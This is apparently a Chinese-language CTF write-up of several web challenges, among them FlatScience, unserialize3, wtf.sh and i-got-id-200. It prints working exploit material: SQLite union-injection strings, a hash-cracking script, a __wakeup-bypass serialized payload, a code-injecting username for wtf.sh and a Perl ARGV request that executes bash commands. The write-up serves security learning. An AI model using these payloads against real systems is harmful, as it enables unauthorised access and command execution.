挑着做一些好玩的ctf題
FlatScience
web2
unserialize3
upload1
wtf.sh-150
ics-04
web i-got-id-200
FlatScience
掃出來的login.php
查看源碼,發現參數debug,傳參?debug=1,得到如下代碼:
<?php if(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); if($res){ $row = $res->fetchArray(); } else{ echo "<br>Some Error occourred!"; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); } } if(isset($_GET['debug'])) highlight_file('login.php'); ?>
開始sqlite3注入。
usr=1' union select name,sql from sqlite_master--+&pw=1
sql字段爲sqlite自帶的結構表sqlite_master中的一個字段 返回創建表的語句 我們可以有哪些表
CREATE TABLE Users( id int primary key, name varchar(255), password varchar(255), hint varchar(255) )
出現了表名和表中的字段了 具體可以查詢字段
usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=qing usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=qing usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=qing usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=qing
查詢語句的password就是對密碼+salt進行了sha1
我們登陸的話應該需要利用sha1函數和salt找出密碼
admin的hint是 +my+fav+word+in+my+fav+paper?!,密碼很可能就藏在pdf文件
爬取站點中所有的pdf文件,總共30個
然後用腳本進行解析處理,並用sha1函數與加密的密碼進行碰撞已找出正確的密碼,拿大佬的腳本:
from cStringIO import StringIO from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import TextConverter from pdfminer.layout import LAParams from pdfminer.pdfpage import PDFPage import sys import string import os import hashlib def get_pdf(): return [i for i in os.listdir("./") if i.endswith("pdf")] def convert_pdf_2_text(path): rsrcmgr = PDFResourceManager() retstr = StringIO() device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams()) interpreter = PDFPageInterpreter(rsrcmgr, device) with open(path, 'rb') as fp: for page in PDFPage.get_pages(fp, set()): interpreter.process_page(page) text = retstr.getvalue() device.close() retstr.close() return text def find_password(): pdf_path = get_pdf() for i in pdf_path: print "Searching word in " + i pdf_text = convert_pdf_2_text(i).split(" ") for word in pdf_text: sha1_password = hashlib.sha1(word+"Salz!").hexdigest() if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': print "Find the password :" + word exit() if __name__ == "__main__": find_password()
admin的密碼爲:ThinJerboa
web2
NSCTF
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1; $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_))); } highlight_file(__FILE__); /* 逆向加密算法,解密$miwen就是flag */ ?>
逆出來的代碼:
<?php $str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws'; $_ = base64_decode(strrev(str_rot13($str))); $_o=NULL; for($_0=0;$_0<strlen($_);$_0++){ $_c=substr($_,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_o=$_o.$_c; } echo strrev($_o); ?>
unserialize3
一道很簡單反序列化
<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
code我們可控
直接把序列化了的傳入code顯示bad
當序列化字符串表示對象屬性個數的值大於真實個數的屬性時就會跳過__wakeup
的執行
這次傳入:
O:4:"xctf":3:{s:4:"flag";s:3:"111";}
upload1
前端驗證不說了
wtf.sh-150
csaw-ctf-2016-quals
有點神仙題 後半不看wp做不出來
本來可以登錄和評論 測了大把時間登錄和留言xss 莫得用
有參數就fuzz 看看有沒有注入之類的 發現是有目錄遍歷漏洞
發現源碼 可是太多了 直接查找和flag有關的那段。
源碼:
<html> <head> <link rel="stylesheet" type="text/css" href="/css/std.css" > </head> $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo "<h3>${username}'s posts:</h3>"; $ echo "<ol>"; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}"); $ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>"; $ done $ echo "</ol>"; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi </html>
看到了admin纔可以有flag 源碼裏發現有user目錄
發現token值是存儲在user目錄中的,所以能夠進行token僞造
admin:
Posted by admin ae475a820a6b5ade1d2e8b427b59d53d15f1f715 uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==
第一串東西發現是密碼的 sha1,不過對做題沒有什麼幫助
user參數這裏要注意下 多看看f12沒得錯
接着看到有趣的代碼:
function reply { local post_id=$1; local username=$2; local text=$3; local hashed=$(hash_username "${username}"); curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id}); echo "${username}" > "${next_file}"; echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}"; echo "${text}" >> "${next_file}"; # add post this is in reply to to posts cache echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts"; }
這是評論功能的後臺代碼,這部分也是存在路徑穿越的。
這行代碼把用戶名寫在了評論文件的內容中:
echo "${username}" > "${next_file}";
通過上面的分析:如果用戶名是一段可執行代碼,而且寫入的文件是 wtf 格式的,那麼這個文件就能夠執行我們想要的代碼。 (而且wtf.sh只運行文件擴展名爲.wtf的腳本和前綴爲'$'的行)
先普通地評論一下,知曉評論發送的數據包的結構,在普通評論的基礎上,進行路徑穿越,上傳後門sh.wtf
惡意代碼 註冊時候:
${find,/,-iname,get_flag2}
ics-04
普通的注入題而已 略過
Flag:
cyberpeace{f806dac1f9e60f3b2bc4e610cb21d861}
web i-got-id-200
這道題考察perl語言漏洞
點擊Files有個可以上傳文件的地方,隨便上傳一個文件
頁面上將文件內容顯示了出來
看源碼知道是pl perl寫的代碼
perl上傳的代碼:
my $cgi= CGI->new; if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' ); while ( <$file> ) { print "$_"; } }
param()函數會返回一個列表的文件但是隻有第一個文件會被放入到下面的file變量中。
而對於下面的讀文件邏輯來說,如果我們傳入一個ARGV的文件,那麼Perl會將傳入的參數作爲文件名讀出來。
ARGV是PERL默認用來接收參數的數組,不管腳本里有沒有把它寫出來,它始終是存在的。
這樣,我們的利用方法就出現了:在正常的上傳文件前面加上一個文件上傳項ARGV,然後在URL中傳入文件路徑參數,這樣就可以讀取任意文件了。
所以嘗試構造:
多命令執行:
POST /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| HTTP/1.1 Host: 111.198.29.45:35148 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------238732662231850 Content-Length: 435 -----------------------------238732662231850 Content-Disposition: form-data; name="file" ARGV
提一下這裏的管道符號 將其輸出結果用管道傳輸到讀入流中